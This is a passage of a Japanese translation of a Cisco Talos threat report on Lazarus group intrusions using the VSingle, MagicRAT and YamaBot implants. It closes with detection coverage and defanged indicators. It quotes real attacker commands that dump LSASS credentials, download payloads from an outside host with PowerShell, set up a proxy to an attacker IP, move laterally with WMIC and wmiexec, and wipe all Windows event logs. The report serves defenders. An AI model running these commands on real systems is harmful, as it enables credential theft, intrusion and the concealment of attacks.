<local_path>\pd64.exe -accepteula -ma lsass <local_path>\z_pd.dmp | OS ログイン情報のダンプ [T1003/001]![]() |
SOCKS プロキシ
ローカルエンドポイントに SOCKS プロキシをダウンロードしてセットアップしていました。3proxy も使用しています。
コマンド | 目的 |
powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile(‘http://<remote_location>/spr.tmp’, ‘<local_path>\spr.tmp’) | ペイロードのダウンロード [T1608/001]![]() |
<local_path>\rar.exe e <local_path>\spr.tmp <local_path_2> -p<password> | ファイルの抽出 [T1140]![]() |
<local_path_2>\msconf.exe -i 84[.]38[.]133[.]145 -p <Port_number> | プロキシ [T1090]![]() |
インプラントの展開とラテラルムーブメント
企業で最初に侵害されたエンドポイントでは、攻撃者がリモートロケーションからカスタムインプラントをダウンロードし、システムに展開して永続化していました。
コマンド | 目的 |
WMIC /node:<Computer_Name> process call create “powershell.exe (New-Object System.Net.Webclient).DownloadFile(‘<remote_location>/svhostw.exe’,'<local_path>\\svhostww.exe’)” | ペイロードのダウンロード [T1608/001]![]() |
sc create <service_name> type= own type= interact start= auto error= ignore binpath= cmd /K start <local_path_2>\\svhostww.exe | 永続化 [T1543/003]![]() |
すでに侵害されているホストからのラテラルムーブメントによって侵害を受けたエンドポイントには、リモートの外部ロケーションまたはソースホスト自体のいずれかからインプラントが展開されていました。その際、インタラクティブシェルが起動されるか、impacket ツールが使用されていました。
コマンド | 目的 |
powershell.exe Enter-PSSession | リモートアクセス [T1219]![]() |
powershell.exe Invoke-Command -ComputerName <ComputerName> -ScriptBlock {cmd.exe /c dir} | リモートアクセス [T1219]![]() |
python wmiexec.py <userid>:<password>@<local_IP_of_another_endpoint> 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 | リモートアクセス [T1219]![]() |
クリーンアップ
バックドアとインプラントが永続化され、エンドポイントでアクティブ化された後、リバースシェルを使ってクリーンアップが実行されています [T1070]。これにより PowerShell タスクが終了し、感染フォルダ内のすべてのファイルが削除されます。攻撃者が作成したアカウントは削除され、最終的に Windows イベントログ [T1070/001]
が以下のコマンドで消去されます。
for /F tokens=* %1 in ('wevtutil.exe el') DO wevtutil.exe cl %1 1> \\127.0.0.1\ADMIN$\<log_file_name> 2>&1
手動操作
リバースシェルを介して感染したエンドポイントでコマンドを入力する際、攻撃者は何度もミスをしていました。このことから、人間が手動でコマンドを入力して感染マシンを操作していることが分かります。
ip config /all |
net suer |
netstat -noa | finstr 3389 |
powrshell.exe Get-AdUser -Filter * -Properties * | Select Name, logonCount |
powrshell.exe Get-AdComputer -Filter * -Properties * | select Name, LastLogonDate, lastLogon, IPv4Address |
カバレッジ
お客様がこの脅威を検出してブロックするための方法を以下に記載します。
Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。
Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、
Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトをテストします。
特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。
Cisco Duo は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。
Orbital クエリ
Cisco Secure Endpoint ユーザーは、Orbital Advanced Search を使用して複雑な OSquery を実行し、エンドポイントが特定の脅威に感染しているかどうかを確認できます。類似の脅威に対応する OSquery の具体例については、こちら
とこちら
をクリックしてください。
IOC(侵入の痕跡)
IOC リストは、こちらにある Talos の GitHub リポジトリからも入手できます。
VSingle
586F30907C3849C363145BFDCDABE3E2E4688CBD5688FF968E984B201B474730
MagicRAT
8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5
c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f
dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469
90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4
YamaBot
f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
ProcDump
16F413862EFDA3ABA631D8A7AE2BFFF6D84ACD9F454A7ADAA518C7A8A6F375A5
05732E84DE58A3CC142535431B3AA04EFBE034CC96E837F93C360A6387D8FAAD
Mimikatz
6FBB771CD168B5D076525805D010AE0CD73B39AB1F4E6693148FE18B8F73090B
912018AB3C6B16B39EE84F17745FF0C80A33CEE241013EC35D0281E40C0658D9
CAF6739D50366E18C855E2206A86F64DA90EC1CDF3E309AEB18AC22C6E28DC65
3Proxy
2963a90eb9e499258a67d8231a3124021b42e6c70dacd3aab36746e51e3ce37e
PuTTY plink
2AA1BBBE47F04627A8EA4E8718AD21F0D50ADF6A32BA4E6133EE46CE2CD13780
5A73FDD0C4D0DEEA80FA13121503B477597761D82CF2CFB0E9D8DF469357E3F8
Adfind
C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3
IP
104[.]155[.]149[.]103
40[.]121[.]90[.]194
185[.]29[.]8[.]162
146[.]4[.]21[.]94
46[.]183[.]221[.]109
84[.]38[.]133[.]145
109[.]248[.]150[.]13
155[.]94[.]210[.]11
192[.]186[.]183[.]133
54[.]68[.]42[.]4
84[.]38[.]133[.]145
213[.]180[.]180[.]154
URL
hxxp[://]104[.]155[.]149[.]103/2-443[.]ps1
hxxp[://]104[.]155[.]149[.]103/8080[.]ps1
hxxp[://]104[.]155[.]149[.]103/mi64[.]tmp
hxxp[://]104[.]155[.]149[.]103/mi[.]tmp
hxxp[://]104[.]155[.]149[.]103/mm[.]rar
hxxp[://]104[.]155[.]149[.]103/pd64[.]tmp
hxxp[://]104[.]155[.]149[.]103/rar[.]tmp
hxxp[://]104[.]155[.]149[.]103/spr[.]tmp
hxxp[://]104[.]155[.]149[.]103/t[.]tmp
hxxp[://]104[.]155[.]149[.]103/update[.]tmp
hxxp[://]109[.]248[.]150[.]13:8080/1
hxxp[://]146[.]4[.]21[.]94/tmp/data_preview/virtual[.]php
hxxp[://]185[.]29[.]8[.]162:443/1[.]tmp
hxxp[://]40[.]121[.]90[.]194/11[.]jpg
hxxp[://]40[.]121[.]90[.]194/300dr[.]cert
hxxp[://]40[.]121[.]90[.]194/b[.]cert
hxxp[://]40[.]121[.]90[.]194/qq[.]cert
hxxp[://]40[.]121[.]90[.]194/ra[.]cert
hxxp[://]40[.]121[.]90[.]194/Rar[.]jpg
hxxp[://]40[.]121[.]90[.]194/tt[.]rar
hxxp[://]46[.]183[.]221[.]109//dfdfdfdfdfdfdfdfdfaflakjdfljaldjfladfljaldkfjlajdsflajdskf/huntertroy[.]exe
hxxp[://]46[.]183[.]221[.]109//dfdfdfdfdfdfdfdfdfaflakjdfljaldjfladfljaldkfjlajdsflajdskf/svhostw[.]exe
hxxp[://]84[.]38[.]133[.]145/board[.]html
hxxp[://]84[.]38[.]133[.]145/header[.]xml
hxxp[://]www[.]ajoa[.]org/home/manager/template/calendar[.]php
hxxp[://]www[.]ajoa[.]org/home/rar[.]tmp
hxxp[://]www[.]ajoa[.]org/home/tmp[.]ps1
hxxp[://]www[.]ajoa[.]org/home/ztt[.]tmp
hxxp[://]www[.]orvi00[.]com/ez/admin/shop/powerline[.]tmp
VSingle C2
hxxps[://]tecnojournals[.]com/review
hxxps[://]semiconductboard[.]com/xml
hxxp[://]cyancow[.]com/find
MagicRAT C2
hxxp[://]155[.]94[.]210[.]11/news/page[.]php
hxxp[://]192[.]186[.]183[.]133/bbs/board[.]php
hxxp[://]213[.]32[.]46[.]0/board[.]php
hxxp[://]54[.]68[.]42[.]4/mainboard[.]php
hxxp[://]84[.]38[.]133[.]145/apollom/jeus[.]php
hxxp[://]mudeungsan[.]or[.]kr/gbbs/bbs/template/g_botton[.]php
hxxp[://]www[.]easyview[.]kr/board/Kheader[.]php
hxxp[://]www[.]easyview[.]kr/board/mb_admin[.]php
YamaBot C2
hxxp[://]213[.]180[.]180[.]154/editor/session/aaa000/support[.]php
本稿は 2022 年 09 月 08 日に Talos Group
のブログに投稿された「Lazarus and the tale of three RATs
」の抄訳です。